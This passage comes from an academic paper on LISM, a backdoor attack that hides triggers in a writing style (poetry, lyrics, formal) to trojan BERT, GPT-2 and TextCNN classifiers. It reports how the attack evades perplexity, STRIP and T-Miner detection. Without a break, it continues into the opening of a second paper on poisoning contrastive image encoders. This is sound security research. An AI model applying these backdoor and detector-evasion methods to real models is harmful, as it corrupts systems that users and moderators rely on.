dataset (§5.2.3), the ASR for BERT on OLID is already close
to 100%. This phenomenon also conforms to some common
findings in previous works [39, 55], where a larger model is
usually observed to be more vulnerable to attacks. Finally, as
RIPPLES also follows the word-based trigger design, it can
hardly evade trigger filtering algorithms when attacking.

5.2.3 Effectiveness of Style-Aware Injection

Moreover, we validate the effectiveness of our proposed style-
aware backdoor injection, by measuring the performance im-
provement over poisoning-based injection. Specifically, we
control the ratio of the poisoning samples for both style-aware
and poisoning-based injection as 0.2 for a fair comparison.
We run 5 repetitive tests to obtain the improvement metrics
in Table 5, where ∗ indicates the improvement is statistically
significant under a one-sided T-test with p-value < 0.05.

Table 5: Absolute improvement in ASR and ACC of style-
aware backdoor injection over the poisoning-based injection.

LISM (Formal) LISM (Lyrics) LISM (Poetry)

ASR ↑ ACC ↑ ASR ↑ ACC ↑ ASR ↑ ACC ↑

YELP
TextCNN 8.8%* 14.0%* 5.3%* 8.0%* 0.2% -1.8%
BERT+FC 24.1%* -1.4% 4.2% 0.8% 0.0% -0.2%
BERT+LSTM 3.7% 6.0%* 5.4%* 3.6%* 1.1% 2.5%*

OLID
TextCNN 5.9%* 0.3% -0.6% 0.3% 1.4% 3.9%*
BERT+FC 2.9% 1.4% 3.1% -0.1% -0.1% -0.1%
BERT+LSTM 0.8% 1.2% 0.8% 1.2% 1.3% 1.2%

COVID
TextCNN 27.6%* 7.2%* 25.8%* 5.7%* 0.7% 1.7%
BERT+FC 19.9%* 0.6% 17.6%* -0.9% -0.9% 0.0%
BERT+LSTM 2.3% 1.4% 19.2%* -2.2% -0.9% 0.6%

Results & Analysis. As we can see from Table 5, our pro-
posed style-aware trigger injection shows improvement in
ASR over the poisoning-based injection on 23 out of 27 cases,
with 10 of them statistically significant. In terms of ∆ACC,
performance improvement is observed on 20 out of 27 cases,
with 8 of them statistically significant. In other words, the
style-aware injection approach does benefit the embedding
of style backdoor into the victim model. For example, when
we backdoor a TextCNN or a BERT+FC on COVID with
Formal as the trigger style, the improvement in ASR is over
19% while the normal accuracy has no decrease compared
with the poisoning-based injection.
Impact of Style Intensity. Yet, on some cases, we observe
that the style-aware injection performs similarly as, if not
worse than, the poisoning-based injection. Such phenomenons

are especially concentrated in the test cases with poetry as
the trigger style. We hypothesize the root cause is that the
poetry style already imposes substantial differences on the
sentence syntactic structure before and after the style transfer.
Following [66], we define the pairwise distance between sen-
tences as the cosine distance between their embeddings from
a pretrained BERT model.

Figure 3: (a) The intensity of each trigger style on differ-
ent datasets. (b) Impact of the trigger style intensity on the
improvement brought by our proposed style-aware injection.

To test this hypothesis, we first measure the trigger style
intensity on a given dataset by calculating the average dis-
tance between sentences before and after the style is imposed
on the dataset. Fig.3(a) presents the heatmap of the intensity
of the three trigger styles when they are applied on the three
datasets. As we can see from Fig.3(a), the poetry style ex-
hibits the strongest style intensity on all the three datasets.
Next, we further study the impact of the style intensity on the
improvement in ASR brought by our proposed style-aware in-
jection approach. As Fig. 3(b) shows, for all the three models,
a smaller style intensity generally indicates a larger ∆ASR of
style-aware injection and vice versa. This explains why the
improvement of style-aware injection over poisoning-based
injection is not as clear with poetry as with other trigger styles.

5.3 Trigger Naturalness
Furthermore, we conduct user study to evaluate the semantic
preservation and the fluency of the trigger sentences. Specifi-
cally, we hire 180 participants, who speak English as the first
language and are from USA, UK and Australia with an answer
approval rate of at least 95%, from the Prolific survey plat-
form [10]. Appendix A.2 provides more detailed settings (e.g.,
the demographics and the payment). Before the test, we pre-
pare surveys on Microsoft Forms [7] for all the three datasets
combined with the three trigger styles. For each survey, we
first randomly sample 10 sentences from the original dataset,
and collect their corresponding style-based and word-based
trigger sentences. As Fig.4 shows, a survey contains two parts:
In the Semantic Test part, each question requires the partic-
ipants to score the style-based and the word-based trigger
sentences based on their semantic similarity to the original
sentence. The permissible range of the semantic score is from
1 (the least similar) to 5 (the most similar). In the Fluency Test
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Figure 4: Sample questions from the Semantic Test (upper)
and Fluency Test (lower) used in our user study.

Table 6: Human comparison between the style-based and
word-based trigger sentences in terms of semantic preserva-
tion and the sentence fluency, where the * means the result
is significantly higher than the counterpart via a one-sided
pairwise T-test of the p-value smaller than 0.05.

Semantic Score Fluency Score

Style Word Fleiss’s κ Style Word Original Fleiss’s κ

YELP
Poetry 3.13* 2.01 0.11 3.13* 1.93 4.55 0.22
Lyrics 3.07* 2.41 0.09 3.00* 1.84 4.44 0.25
Formal 3.76* 1.59 0.30 3.76* 1.28 4.36 0.38

OLID
Poetry 3.13* 1.64 0.19 3.00* 1.57 4.42 0.28
Lyrics 2.87* 2.27 0.10 2.59* 1.85 4.13 0.22
Formal 2.89 2.52 0.13 3.36* 2.31 4.47 0.18

COVID
Poetry 1.95 3.26* 0.15 1.87 2.46 3.51 0.13
Lyrics 2.93 3.03 0.04 2.83 2.81 2.61 0.05
Formal 3.08 2.88 0.04 2.65 2.16 3.21 0.05

part, the participants are asked to score the sentences (original
sentence, word-based or style-based trigger sentences in ran-
dom order) based on their fluency. The fluency score ranges
from 1 (the least fluent) to 5 (the most fluent).

After the preparation, we ask 20 participants with the demo-
graphic information we introduce above to finish the survey.
For all the 9 surveys, the total number of involved participants
is 180. This whole study has been approved by our institu-
tion’s IRB. The approval process is similar to the exempt
review in the US, as this study is considered as “minimal
risk” by IRB staffs. Table 6 compares the average semantic
and fluency scores on the style-based and word-based trigger
sentences in each test. In the Fleiss’s κ column, we also report
the Fleiss’s inter-rater agreement kappa [29]. For 13 out of 18
tests, κ lies in the range of [0.10, 0.38], which indicates slight
to moderate agreement according to [46]. A low κ is observed
mainly on the tests related with the COVID dataset, which
may be because the average sentence length from COVID
is much larger (i.e., 27.0) compared with YELP and OLID
(i.e., 8.9 & 22.0), leading to some challenges for reaching

consensus on the survey questions from COVID.
Results & Analysis. As Table 6 shows, on OLID and YELP,
our proposed style-based backdoor attack has semantic and
fluency scores uniformly higher than the word-based attack.
In 11 out of 12 cases, the improvement is statistically signifi-
cant via a one-sided pairwise T-test (i.e., p < 0.05). However,
on COVID, our style-based attack performs slightly worse
than, if not similar as, the word-based attack. By inspecting
the generated trigger sentences, we observe the phenomenon
is mainly because the original sentences from COVID have
a much larger length than the other two datasets, while, ac-
cording to [40], existing text style transfer models are still
not powerful enough to handle long sentences. Therefore, the
generated sentences from COVID are less fluent or have more
distortion in the semantics. This reflects a potential weakness
of LISM in trigger naturalness: Style-based backdoor attack
heavily depends on the development of the text style transfer
technology to enhance trigger naturalness.

5.4 LISM Evades Possible Defenses

We demonstrate how our style-motivated trigger design al-
lows the proposed LISM attack to evade potential mitigation
approaches.
Evading PPL-Based Trigger Filtering. First, we visualize
the log-PPL distributions of our style-based triggers with
three trigger styles in Fig.5(a), which are very close to that of
the clean texts. In contrast, the average PPL of word-based
triggers is about 189.8, which is 5.6× of that of style-based
triggers. Based on this observation, we consider a PPL-based
filtering algorithm, which is implemented as a generalized
version of the ONION detection algorithm that focuses on
detecting the occurrence of trigger words in a sentence [60].
In our implementation, we construct a binary decision model
which classifies a sentence as a potential trigger if its PPL is
larger than 2t , where t is a threshold constant. By varying the
threshold constant from 0 to 13, we evaluate the True Positive
Rate (TPR) and False Positive Rate (FPR) of the decision
model on the two test sets: (i) style-based triggers (+, a mix-
ture of generated sentences with the three styles) and clean
texts (−) and (ii) word-based triggers (+) and clean texts (−).
Fig.5(b)-(d) presents the Receiver Operating Characteristic
(ROC) curves on both the test sets. Noticeably, the ROC curve
of the PPL-based detection model on style-based triggers lies
below the diagonal by a large margin, which implies that the
linguistic difference between the style-based triggers and the
clean texts is almost indistinguishable to the PPL-based deci-
sion model. As a contrast, the PPL-based decision model is
able to detect the word-based triggers on COVID by AUC of
0.704 (cf. 0.471 for the style based triggers).
Evading Entropy-Based Trigger Filtering. Next, we eval-
uate the capability of style-based triggers in evading the
STRIP [31] detection. Generally speaking, STRIP exploits the
strong causal relation from the trigger pattern to the backdoor
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Figure 5: (a): Comparison of sentence perplexity (PPL) of
word-based and style-based trigger sentences. (b)-(d): The
Receiver Operating Characteristics (ROC) curves of PPL-
based trigger detection.
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Figure 6: The distribution of prediction entropy from a
BERT+FCN classifier when the clean sentences and trigger
sentences are perturbed following STRIP [31].

behavior. Specifically, STRIP works by checking whether
the prediction entropy remains low when an input under in-
spection are randomly superimposed with other clean inputs.
Following [82], the STRIP algorithm on textual inputs is im-
plemented as: We first randomly drop each word in the input
independently with a probability of 0.5. We then randomly
chunk the input into 3∼ 5 segments and insert the segments
orderly into a randomly chosen clean text to obtain the per-
turbed input. Finally, we obtain the prediction probability
(p,1− p) from the text classifier and calculate the prediction
entropy as −p ln p− (1− p) ln(1− p). When a perturbed in-
put has an overly low prediction entropy compared with the
clean text, then the original input is very likely to be a trig-
ger to the text classifier under test. Fig.6(a)&(b) respectively
compares the distributions of prediction entropy of clean texts
and trigger texts when the attacker conducts a style-based
backdoor attacks (with the poetry style) and a word-based
backdoor attack on a BERT+FCN classifier for OLID.

As we can see from Fig.6(a), the distributions of the predic-
tion entropy on the clean texts and the style-based triggers are
almost indistinguishable from one another, which is mainly
because, when a stylistic sentence is randomly perturbed and
superimposed with normal sentences, the style intensity dis-
tributed in the sentence composition is weakened below the

sufficient level to activate the hidden style-based backdoor,
which therefore perturbs the prediction results of a style-based
trigger. In contrast, Fig.6(b) shows, the entropy distribution
of the word-based triggers are clearly divergent from that of
the clean texts. Behind this phenomenon is the strong causal
relation from the trigger words/phrases to the backdoor behav-
ior: once the trigger word(s) remain in the trigger sentence,
the backdoor function is always activated and the prediction
results can hardly be affected.
Evading Trigger Inversion-Based Defenses. Finally, we
validate the stealthiness of text classifiers trojaned with LISM
by conducting T-Miner [15], a very recent trigger inversion-
based defense which trains a generative model to search for a
candidate set of perturbation words that cause most clean texts
to be misclassified into the target class. In our evaluation, we
prepare in prior 12 TextCNN classifiers on the three scenarios,
which is grouped into three test sets: (a) The first 4 classi-
fiers are trained on the clean dataset with different random
seeds; (b) The second 4 classifiers are trojaned by our LISM
attack with the four trigger styles, and (c) The remaining 4
classifiers are trojaned by a word-based attack with random
trigger patterns containing 1∼ 4 random words (which fol-
lows the same construction procedure in T-Miner). We adopt
the official implementation of T-Miner [8] and make the min-
imal modification to port the code to cater for our scenarios.
According to [15], a model is determined to be trojaned by
T-Miner if a candidate perturbation with confidence higher
than 70% is found. Results show T-Miner fails to detect any
models trojaned by LISM, while about 75% of the the models
with word-based backdoor are detected by T-Miner, which fur-
ther supports our statement that style-based backdoor attack
are innately advantageous in stealthiness due to its weak de-
pendence on certain special words or phrases to construct and
activate a backdoor. Detailed detection rate for each model
group is provided in Table B.5 of Appendix B.

6 Discussion

Style-based vs. Word-based Backdoor. In Table 7, we sys-
tematize the pros-and-cons of our proposed style transfer
attack compared with existing word-based backdoor attacks,
which we elaborate on as follows.
(i) Attack Effectiveness: LISM shows a 2∼ 3% decrease by
average in ASR compared with existing word-based attacks.
From our perspective, the slightly lower ASR is a direct conse-
quence of our trading effectiveness for stealthiness: By adopt-
ing the style-based trigger scheme, the difference between
the trigger and the clean texts is less explicit when compared
with the difference of whether certain trigger words occur in a
sentence as for word-based backdoor attacks. As word-based
trigger sentences can hardly evade trigger filtering algorithms
during an attack (§5.4), it is reasonable to balance the attack
effectiveness and the stealthiness as in our designs.
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Table 7: Comparisons between style-based and word-based
backdoor attacks.

Style-based Backdoor Word-based Backdoor

Effectiveness (ASR) 96.5%±3% 99.7%±0.3%

St
ea

lth
in

es
s Performance

Degradation
(∆ACC)

−2.1%±3% −2.1%±3%

Evadability Can evade both trigger filter-
ing and inversion defenses

Detectable

Tr
ig

ge
r

N
at

ur
al

ne
ss Semantic

Preservation Both the semantic
preservation and the
text fluency heavily
depend on the
capability of the
adopted style transfer
method.

Semantics may
be modified or
ambiguated due
to improper word
insertion.

Sentence
Fluency Fluency decreases

due to the inserted
irrelevant trigger
words.

(ii) Attack Stealthiness: LISM is more advantageous com-
pared with word-based attacks, which is mainly reflected in
two aspects. On one hand, LISM by design eliminates the oth-
erwise strong correlation between the trigger word(s) in the
surface form of a trigger sentence and the attacker-expected
model misbehavior in word-based attacks. Such a strong cor-
relation is very likely to be the root cause of why word-based
trigger sentences would be detected with a high probability
with metric-based trigger filtering, or be reverse-engineered
from the trojaned model with inversion-based defenses. In
contrast, using a secret linguistic style as the trigger pattern
allows LISM to generate a much more diverse set of trigger
surface patterns. This eliminates the common pattern lying
in the surface form of trigger sentences, and hence builds
the one-directional link from the deep structure of a sentence
to the backdoor behavior. Consequently, LISM implements
strong evadability. On the other hand, when LISM is con-
ducted, the performance degradation of the victim model is at
a similar scale of the word-based attack (below 2.1% on av-
erage). Therefore, LISM raises no more doubts than existing
word-based attacks if the model consumer inspects the model
accuracy when supplied.
(iii) Trigger Naturalness: Semantic preservation and sentence
fluency are exactly what text style transfer pursues [40]. This
brings both the bottleneck and the opportunity on the trigger
naturalness of LISM. On one hand, the trigger naturalness
of LISM is almost upper bound by the capability of existing
text style transfer models. Although we leverage STRAP,
one of the state-of-the-art text style transfer models at our
time, for trigger generation, some generated sentences in our
experiments may still have non-trivial semantic distortion or
are occasionally broken. On the other hand, considering the
area of text style transfer is still in fast development, the gap
in trigger naturalness would be gradually closed as the text
style transfer methods evolve, while, it is not the case for the
word-based backdoor attacks, which usually insert irrelevant
word(s) into the clean sentence as the trigger.
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Figure 7: The accuracy and ASR of a fully-trojaned BERT
model after being funetuned from the K-th layer.

Relaxing the Assumption on Fine-Tuning. In our threat
model, the victim is assumed to only finetune the last sev-
eral layers of the pretrained model, which may be violated
if the victim has sufficient computing power and wishes to
fine-tune more layers for pursue better performance. To eval-
uate the effectiveness of the style-based backdoor under an
unexpected finetuning on the trojaned layers, we finetune a
LISM-trojaned BERT model, where the backdoor is embed-
ded in the full model, with a three-layer FCN on the OLID
dataset from the K-th layer. Fig.7 reports the curves of ASR
and accuracy when K varies from 1 to 12. As we can see,
although the finetuning process does modify the parameters
of the embedded backdoor, the ASR remains over 95% until
the BERT model is fine-tuned from one of the earliest layers
(i.e., K = 2). This phenomenon implies that the effectiveness
of LISM attacks on pretrained models is relatively robust to
unexpected fine-tuning. Meanwhile, since the normal accu-
racy exhibits only limited improvements when the fine-tuning
involves more layers (e.g., less than 2% when K varies from
12 to 6), the victim would have a weak incentive to further
the fine-tuning process, which hence preserves the backdoor
function from being cleansed.
Limitation and Future Directions. In our threat model, the
attacker is assumed to know the dataset for the downstream
task, which is likely to happen when the attacker is the ma-
licious model provider. In Table A.1, we further report the
performance of our trojaned model after being finetuned on a
different downstream dataset. The results shows that the in-
jected style-based backdoor still exhibits certain effects when
the datasets are from the similar domains, while deteriorates
on some other cases. As the weak transferability is a com-
mon open problem in the general literature of backdoor learn-
ing [56], how to enhance the transferability of style-based
backdoor is also a meaningful future direction to pursue. Be-
sides, for the demonstration purpose, our evaluation mainly
choose poetry, lyrics and formal as the example trigger styles.
For different NLP applications, there may be more suitable
style choices for trigger generation. It is meaningful for future
works to consider evaluate LISM with more trigger styles and
generate trigger samples to imitate a particular person’s writ-
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ing style. Besides, future works may also consider extend the
idea of style-based backdoors to other important NLP tasks
such as text generation and question answering.

Considering the stealthiness of style-based backdoor, we
hope future works pursue more effective mitigation ap-
proaches. From our perspective, it would be meaningful to ex-
plore using an independently trained style classifier to detect
abnormality in linguistic styles and raise security alarms [76].
Yet, existing style classifiers are mostly designed for classify-
ing whether a sentence holds a certain style in a binary way.
How to extend the idea to an open-ended system where a sen-
tence may have an unknown trigger style is worth to explore.
Moreover, to build a voting system on different stylistic ver-
sions of the same input sentence may be promising to enhance
robustness, if the overhead of invoking multiple times of text
style transfer on millions of model queries can be reduced.

7 More Related Works

Evolving Trigger Designs in Backdoor Attacks. In com-
puter vision, to design an effective yet stealthy trigger scheme
is an equally important direction to the advances in backdoor
injection algorithms [16, 34, 52, 78]. From hand-crafted pixel
patterns [34] and optimized pixel pattern [52, 78], recent re-
search further enhances the stealthiness of trigger designs
by invisible trigger patterns [49, 71], one-pixel trigger pat-
tern [17,70] or natural semantic objects [21,50]. Also, trigger
schemes are no longer fixed and static. For example, [67] re-
lies on random pixel patterns inserted at random positions of a
base image as the trigger, while [53] proposes an input-aware
backdoor attack where a generative model learns to generate
a trigger pixel pattern dynamically for each input [53].

In comparison, the study of backdoor attacks on NLP mod-
els is still in its infancy. Due to the domain gap between NLP
and computer vision, the advances in designing visual triggers
can hardly be applied to textual data. Therefore, most existing
trigger designs in NLP [15, 45, 77] still follow [22] to use
special words or phrases as triggers.

Recently and concurrently, [48] also explores dynamic
backdoor on NLP models by generating a malicious suffix
sentence with a language model to form the trigger pattern,
while [61] introduces the dimension of linguistic styles for
adversarial and backdoor attacks. Compared with [48, 61],
our work is the first to enable the dynamic and style-based
backdoor on attacking pretrained language models and eval-
uates the attack evadability under both filtering-based and
inversion-based defenses [15]. Besides, we also contribute
a number of original insights on how the intensity of trig-
ger styles impacts style-based backdoor attacks and present
a large-scale user study to understand the pros-and-cons of
style-based backdoor compared with word-based attacks.
Defenses against Backdoor Attacks. As most existing back-
door defenses are designed in the image domain, we review
two most related branches of trojan defenses below: (i) A

major branch of backdoor defenses work under the scenario
that the defender is provided with an image classifier and
is required to determine whether the classifier is trojaned
[20, 35, 51, 62, 74]. Neural Cleanse [74] and ABS [51] are
two representative defensive methods in this branch, both of
which exploit the correlation between the trigger pattern and
model’s misbehavior to reverse-engineer a potential trigger
pattern. However, as is also discussed in [15], these trigger
synthesis-based defenses cannot be directly applied to text
models mainly because the continuity of inputs is a key en-
abler for the inversion of trigger patterns, while the text inputs
consist of discrete tokens. As far as we know, T-Miner is
the only trigger synthesis-based defense applicable to NLP
models, which, according to Section 5.4, is unable to detect
a NLP model trojaned by our proposed LISM attack. (ii)
Another branch of detection methods focus on eliminating
trigger inputs during the run time, by inspecting the abnormal-
ity exhibited in the provided input [26, 27, 31]. For example,
a representative detection algorithm STRIP [31] determines
whether an input is a trigger by first superimposing the input
with random clean inputs and then checking if the predic-
tion results still remain unchanged. Among the defensive
methods in this branch, STRIP is the very one which explic-
itly discusses its potential usage in detecting textual triggers.
Besides, a very recent defense against NLP backdoor attacks
called ONION [60], which filters away potential trigger words
based on the perplexity, can also be categorized in this branch.
Therefore, we mainly choose STRIP and PPL-based detection
to evaluate the evasive capability of LISM-generated triggers.

8 Conclusion

In this paper, we propose LISM to exploit text style trans-
fer as a weapon to embed implicit trigger patterns into the
linguistic style of clean sentences, which substantially en-
hances the stealthiness of word-based backdoor in terms of
the naturalness of trigger sentences and the evasion capabil-
ity against potential defensive techniques. At the core of our
LISM attack is to replace the strong correlation between the
common trigger pattern in the sentence surface form and the
backdoor behavior with a much more diverse set of trigger
surface patterns generated via a secret linguistic style. Our ex-
tensive evaluation proves LISM indeed poses open challenges
for future mitigation studies. To facilitate future research, we
open-source LISM at [3].
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A Omitted Details in Evaluation

A.1 Details of Scenarios
• Opinion Mining: In opinion mining, or sentiment analysis,

an NLP model learns to automatically determine the senti-
ment conveyed in a sentence. We construct the opinion min-
ing scenario from the YELP restaurant review dataset [14],
which contains about 227K and 344K reviews annotated
with negative sentiment and positive sentiment respectively.
The vocabulary size of the YELP dataset is 9637 and the
average length of sentences is 8.9. The class positive is
considered as the attacker’s target class.

• Toxic Language Detection: In toxic language detection
tasks, an NLP model learns to recognize sentences with
toxic contents (e.g., violence, racism and sexism state-
ments), which serves as a key component in protecting
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the content safety on social media. We construct the toxic
language detection scenario from the Offensive Language
Identification Dataset (OLID [79]), which contains about
4.6K and 9.5K tweets annotated as toxic and non-toxic. The
average length of sentences is about 22.0, with a vocabu-
lary size 22311. The class non-toxic is considered as the
attacker’s target class.

• Fake News Detection: Fake news detection is another im-
portant NLP application for protecting online content safety,
where an NLP model learns to determine whether a news
content is real or faked. We construct the fake news detec-
tion scenario from the COVID-19 fake news dataset [58],
which contains about 10k social media posts and articles of
real and fake news on COVID-19. The numbers of real and
fake news are respectively 5.6K and 5.1K. The vocabulary
size of the COVID-19 dataset is 21031 and the average
length of sentences is 27.0. The class real is considered as
the attacker’s target class.

A.2 Details of User Study

As summarized in Table A.2, we conduct the user study on
the semantic and fluency aspects of the trigger sentences with
180 native speaker participants in total recruited on Prolific
1, a commercial platform which is backed by Oxford Uni-
versity Innovation and runs a diverse pool of 70,000+ global
participants for psychological and behavioral research. In our
user study, we only hire participants who speak English as the
first language and are from USA, UK and Australia with an
answer approval rate of at least 95%. We pay each participant
on an average of £7.59/hr, ranked higher than the average
payment (£5.00/hr) at the platform. Fig.A.1 illustrates the
basic demographic information of the 180 participants.

A.3 Other Implementation Details

In the three scenarios, we split the original dataset into train-
ing, validation and test sets, in the ratio of 8 : 1 : 1. We view
the training set as the clean data D in our methodology part
and apply a STRAP pretrained on the corpus of the trigger
style strigger to generate the trigger corpus Ctrigger. We con-
struct the trojaned model based on the training data. The
injection process is early-stopped by monitoring the running
loss on the validation set. With no additional specification, we
set the hyperparameters λ in Objective (1) and Objective (2)
respectively as 1.0 and 2.0, and the temperature parameter in
STRAP as 0.7 during trigger generation. All the performance
metrics reported in Section 5.1 are averaged on the trigger
corpus generated from the test set. Table A.3 lists the detailed
hyperparameters.

1https://www.prolific.co/

Figure A.1: (a)-(c): Statistics of the demographic information
of the 180 participants involved in our user study. (d) The
distribution of the time taken for finishing the tests.

B More Evaluation Results
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Figure B.2: Comparison of PPL of word-based and style-
based trigger sentences on the other two datasets, where the
column Words represents the PPL of word-based triggers.

Evasion Results against T-Miner. Table B.5 presents the de-
tection rate on each group of the classifiers under inspection.

Table B.5: Detection rate of T-Miner on different groups of
models.

Clean Models
Models Trojaned

by LISM
Models Trojaned

by Word-Based Attacks

YELP 0/4 0/4 4/4
OLID 0/4 0/4 3/4
COVID 0/4 0/4 3/4
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Table A.1: Backdoor behavior when the victim finetunes a pretrained BERT that is trojaned with one dataset (i.e., the first column
of the table) on a different dataset (i.e., the first row of the table)

YELP OLID COVID

Trained on ASR ACC ASR ACC ASR ACC

YELP 94.4% (± 0.2%) 97.0% (± 0.2%) 72.2% (± 0.2%) 74.5% (± 0.2%) 70.1% (± 0.1%) 74.6% (± 0.2%)
OLID 71.0% (± 0.3%) 85.4% (± 0.3%) 99.6% (± 0.3%) 79.5% (± 0.4%) 98.6% (± 0.4%) 80.7% (± 0.4%)
COVID 63.5% (± 0.3%) 88.1% (± 0.2%) 96.3% (± 0.2%) 82.6% (± 0.1%) 92.4% (± 0.2%) 95.1% (± 0.3%)

Table A.2: A summary on the settings of our user study on
the trigger naturalness.

# of Participants 180

Native Speaker? Yes

Demographics From US, UK, Australia (more in Fig.A.1)

Age [18, 67]

Platform Prolific/Microsoft Forms

Coverage All the (dataset, style) Combinations

Paid? £7.59/hr

# Trigger Samples 90

Randomly Chosen? Yes

IRB Approved? Yes

Table A.3: More details of hyperparameter configurations in

LISM.
Stage Hyperparameter Value

Weaponization of

Text Style Transfer

Temperature (p) 0.7

Poison Rate (β) 0.2

Style-Aware

Backdoor Injection

Eq. 1 (final model) λ 1.0

Eq. 2 (pretrained model) λ 2.0

TextCNN

Filter Size 3, 4, 5

Embedding Size 300

Learning Rate 2e-5

# Epochs 20

BERT/GPT-2

+ FC/LSTM

Learning Rate 3e-6

# Epochs 20

Optimizer Adam
β0 = 0.9

β1 = 0.999

Transferability of Style-based Backdoor. We have con-
ducted a preliminary study on the behavior of a pretrained
BERT model that is first embedded with a style-based back-
door (with the poetry style) in the first 6 layers (K = 6) on
one dataset, and is then finetuned by the victim on a differ-
ent dataset. Specifically, we finetune the pretrained model
from the 7th layer to the classification layer by the AdamW
optimizer with a learning rate of 5× 10−5 until the train-
ing accuracy has no increase. This setting is recommended
by the official tutorial of Huggingface Transformers [4], a
popular python package which implements many pretrained
Transformer-based language models including BERT and
GPT-2. Table A.1 reports the ASR and the normal ACC of

Table B.4: Performance of LISM attacks on pretrained models
with different trigger styles, where the ∆ACC represents the
accuracy margin between a clean pretrained model and a
trojaned pretrained model after being fine-tuned on the clean
data D , with a three-layer FCN as the downstream classifier.

LISM (Formal) LISM (Lyrics) LISM (Poetry) RIPPLES [45] Clean

ASR ∆ACC ASR ∆ACC ASR ∆ACC ASR ∆ACC ACC

YELP
BERT

K = 6 90.7% -8.6% 97.4% -1.7% 95.9% -0.9%
98.8% -0.6% 98.0%K = 12 84.7% -5.9% 97.5% -0.6% 94.4% -1.0%

GPT-2
K = 6 99.8% -0.1% 99.4% 0.2% 99.9% 0.2%

98.4% 0.8% 97.5%K = 12 99.9% 0.2% 98.5% 0.5% 99.8% 0.2%

OLID
BERT

K = 6 99.2% -7.8% 97.9% -2.0% 99.2% -0.6%
95.1% -2.6% 82.6%K = 12 98.3% -5.6% 98.3% -4.1% 99.6% -3.0%

GPT-2
K = 6 97.9% -9.4% 98.8% -8.5% 99.6% -6.7%

86.0% -6.7% 85.0%K = 12 97.5% -0.7% 95.0% -0.8% 98.3% -0.7%

COVID
BERT

K = 6 86.0% -3.6% 88.5% -2.9% 95.4% -0.3%
43.9% 1.1% 96.2%K = 12 93.0% -7.3% 91.5% -5.5% 92.4% -1.1%

GPT-2
K = 6 99.5% -1.4% 99.2% -0.9% 99.7% -0.0%

3.7% -1.8% 97.0%K = 12 97.5% -0.1% 92.1% -0.3% 99.3% 0.1%

the finetuned model when using different pairs of datasets.
As is shown, the injected style-based backdoor still has

certain effect when the pretrained model is finetuned on a
dataset other than the attacker’s adopted dataset. For example,
we observe that the transferability is more noticeable between
OLID and COVID. When the backdoor transfers from COVID
to OLID, the ASR is 96.3% and the ACC is 82.6% (almost the
same as the clean model accuracy), while the ASR is 98.6%
and the ACC is 80.7% vice versa. We suspect the relatively
good transferability can be attributed to the fact that, despite
the task is different, both OLID and COVID are composed
of user tweets from Twitter, which therefore provides a good
base for the pretrained model to capture the stylistic attribute
in the same way. In contrast, when the backdoor transfers
from YELP to other two datasets or vice versa, the ASR or
the ACC shows a non-trivial decrease compared with the same
dataset setting.

C Trigger Samples for Human Evaluation

The full sample sentences are provided in https://
anonymous.4open.science/r/LISM-2827/UserStudy.
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Abstract
Contrastive learning pre-trains an image encoder using a large
amount of unlabeled data such that the image encoder can be
used as a general-purpose feature extractor for various down-
stream tasks. In this work, we propose PoisonedEncoder, a
data poisoning attack to contrastive learning. In particular,
an attacker injects carefully crafted poisoning inputs into the
unlabeled pre-training data, such that the downstream classi-
fiers built based on the poisoned encoder for multiple target
downstream tasks simultaneously classify attacker-chosen, ar-
bitrary clean inputs as attacker-chosen, arbitrary classes. We
formulate our data poisoning attack as a bilevel optimization
problem, whose solution is the set of poisoning inputs; and
we propose a contrastive-learning-tailored method to approx-
imately solve it. Our evaluation on multiple datasets shows
that PoisonedEncoder achieves high attack success rates while
maintaining the testing accuracy of the downstream classifiers
built upon the poisoned encoder for non-attacker-chosen in-
puts. We also evaluate five defenses against PoisonedEncoder,
including one pre-processing, three in-processing, and one
post-processing defenses. Our results show that these defenses
can decrease the attack success rate of PoisonedEncoder, but
they also sacrifice the utility of the encoder or require a large
clean pre-training dataset.

1 Introduction

Contrastive learning [14,24,44] is an emerging machine learn-
ing paradigm. Specifically, an encoder provider (e.g., Google,
OpenAI, and Meta) pre-trains encoders (we focus on image
encoders) using a large amount of unlabeled data (called pre-
training data) automatically collected from the Internet via
a crawler; and the image encoders are then used as general-
purpose feature extractors for various downstream tasks. The
unlabeled data could be images (known as single-modal con-
trastive learning) [14, 24] or (image, text) pairs (known as
multi-modal contrastive learning) [44]. Given an image en-
coder as a feature extractor and a small amount of downstream
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Figure 1: Our PoisonedEncoder vs. existing data poisoning
attacks in the contrastive learning pipeline.

training data for a downstream task (e.g., traffic sign recogni-
tion, face mask detection, and face recognition), a downstream
classifier can be trained using the standard supervised learning
or semi-supervised learning.

In this work, we study targeted data poisoning attack to
contrastive learning. Specifically, an attacker aims to make
the downstream classifiers built for multiple downstream
tasks (called target downstream tasks) misclassify arbitrary,
attacker-chosen clean inputs (called target inputs) as arbitrary,
attacker-chosen classes (called target classes). For instance,
the attacker may desire a target traffic-sign classifier to mis-
classify a stop sign (target input) as speed limit (target class)
and a target face-mask classifier to misclassify a person not
wearing mask (target input) as wearing mask (target class).
Such attacks pose significant challenges to contrastive learn-
ing in safety and security critical applications.

Existing targeted data poisoning attacks mainly focus on
supervised learning [22,40,49,51] and semi-supervised learn-
ing [11, 54]. When applied to attack target downstream clas-
sifiers in contrastive learning, they aim to tamper with their
downstream training data, as illustrated in Figure 1. As a re-
sult, these attacks are not applicable when the downstream
training data maintains integrity. For instance, when the down-
stream training data is proprietary data obtained from a trust-
worthy source; and since the downstream training datasets are
often small in contrastive learning, they may also be manually
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cleaned up. However, the unlabeled pre-training data in con-
trastive learning is often collected from the Internet and thus is
vulnerable to poisoning. For instance, an attacker can publish
its poisoning images/inputs on crawler-accessible websites
such as social media websites, so they can be collected as a
part of the pre-training data by an encoder provider. There-
fore, we focus on poisoning the unlabeled pre-training data in
this work. A recent work [12] studied targeted data poisoning
attack to contrastive learning. However, they focused on multi-
modal contrastive learning. In particular, their attack injects
poisoning (image, text) pairs into the pre-training data, where
the image is a target input and the text includes the target class
name, such that the poisoned encoders produce similar feature
vectors for the target input and target class. Their attack is
not applicable to single-modal contrastive learning because it
does not use text. Another recent work [31] studied backdoor
attacks to contrastive learning. However, they compromise the
pre-training process, while we poison the pre-training data,
which is a more realistic threat model.

Our work: We propose PoisonedEncoder, the first targeted
data poisoning attack to single-modal contrastive learning.
PoisonedEncoder injects carefully crafted poisoning inputs
into the unlabeled pre-training data such that multiple target
downstream classifiers trained based on the poisoned encoder
misclassify the target inputs as target classes simultaneously.

The key challenge of PoisonedEncoder is to craft the poi-
soning inputs to achieve the attack goals. To address the
challenge, we formulate PoisonedEncoder as a bilevel op-
timization problem, whose solution is the set of poisoning
